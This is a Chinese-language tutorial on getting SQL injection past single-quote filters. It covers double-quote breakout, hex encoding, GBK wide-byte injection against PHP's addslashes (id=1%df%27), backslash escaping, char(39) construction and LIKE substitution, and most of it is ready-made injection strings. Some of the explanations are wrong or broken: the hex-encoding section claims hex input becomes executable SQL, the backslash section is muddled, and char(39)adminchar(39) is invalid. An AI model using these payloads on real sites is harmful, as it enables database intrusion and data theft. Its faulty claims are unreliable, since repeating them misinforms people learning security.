### 单引号被过滤怎么绕过 **1. 使用双引号** 如果后端代码在 SQL 查询中使用了双引号 `"` 来包裹字符串,那么你可以尝试用双引号进行注入 **原始查询:** `SELECT * FROM users WHERE username = "$username"` **注入尝试:** `username=" or 1=1 -- "` **最终执行的 SQL:** `SELECT * FROM users WHERE username = "" or 1=1 -- "` 这种情况并不常见,因为多数开发者会优先使用单引号。但它是一个很好的起点,值得尝试 **2. 使用十六进制编码** 有些数据库(如 MySQL)允许使用十六进制编码来表示字符串。你可以将单引号 `'` 或整个字符串(如 `or 1=1`)进行十六进制编码,然后通过 `0x` 前缀传入 **原始查询:** `SELECT * FROM users WHERE id = '...注入点...'` **注入尝试:** 假设你要注入 `or 1=1`,单引号 `'` 的十六进制是 `0x27`。 `' or 1=1 -- ` 的十六进制是 `0x27206f7220313d31202d2d20` **完整 URL 注入:** `id=0x27206f7220313d31202d2d20` **最终执行的 SQL:** `SELECT * FROM users WHERE id = 'or 1=1 -- '` 虽然这看起来很直接,但实际应用中,你需要将整个注入语句进行十六进制编码,因为后端可能不仅过滤单引号,还可能过滤其他关键字 **3. 使用宽字节注入** 宽字节注入是一种专门针对 PHP 的 `addslashes()` 函数和 `magic_quotes_gpc` 配置的绕过技术。在某些字符集(如 GBK)中,一个汉字占用两个字节 当服务器使用 `addslashes()` 函数时,它会将单引号 `'` 转义为 `\'`。在 ASCII 编码下,`\` 的十六进制是 `0x5c`,`'` 是 `0x27`,所以 `\'` 就是 `0x5c27` 但如果后端数据库使用了 GBK 编码,且它将 `0x5c` 和它前面的一个字节组合成一个汉字时,那么 `\'` 中的 `\` 就会被“吃掉”,从而使得后面的单引号 `'` 重新生效 **攻击步骤:** 1. 找到一个 GBK 编码的网站 2. 在 URL 中注入一个宽字节,例如 `%df` 3. 然后注入单引号 **注入尝试:** `id=1%df%27` **服务器端处理:** 1. PHP 的 `addslashes()` 函数收到 `%df'` 2. 它在 `'` 前面加上 `\`,变成 `%df\'` 3. URL 编码后,`%df\'` 变为 `%df%5c%27` 4. 当这个字符串传到数据库时,GBK 编码会把 `%df%5c` 当作一个汉字,`%27` 就会单独留下,恢复成单引号 `'` **最终执行的 SQL:** `SELECT * FROM users WHERE id = '1運''...` (`'運'` 是一个汉字) 后面的 `'` 就成为我们控制的单引号,可以用来闭合语句 **4. 使用反斜线 `\` 绕过 `addslashes`** 在某些情况下,如果后端代码没有过滤反斜线,你可以通过注入一个反斜线来“吃掉” `addslashes` 自动添加的反斜线 **原始查询:** `SELECT * FROM users WHERE id = '...注入点...'` **注入尝试:** `id=1\'` **服务器端处理:** 1. PHP 的 `addslashes()` 函数收到 `1'` 2. 它在 `'` 前面加上 `\`,变成 `1\'` 3. 如果前端的输入是 `1\'`, `addslashes` 会将 `\'` 变为 `\\'` 这个方法需要深入理解后端如何处理输入。如果后端代码只对单引号进行了转义,而没有对反斜线进行处理,你就可以用一个反斜线来闭合它 **5. `char()` 函数绕过** `char()` 函数可以将数字转换为字符。你可以利用这个函数来构造单引号 **注入尝试:** `id=1 and 1=1 and (select char(39))` `id=1 union select 1,2,3 from users where username=char(39)adminchar(39)` 这种方法通常用于绕过对特定字符串(如 `'`)的过滤,但不能绕过对整个注入语句的过滤 **6. 使用 `like` 语句绕过** 在某些盲注场景下,如果无法使用单引号,可以尝试使用 `like` 语句来代替 `union` 或 `and` **注入尝试:** `id=1 and 1 like 1 and 1=1 --` `id=1 and 1 like database()` 这种方法适用于特定的 SQL 语句结构,但并非万能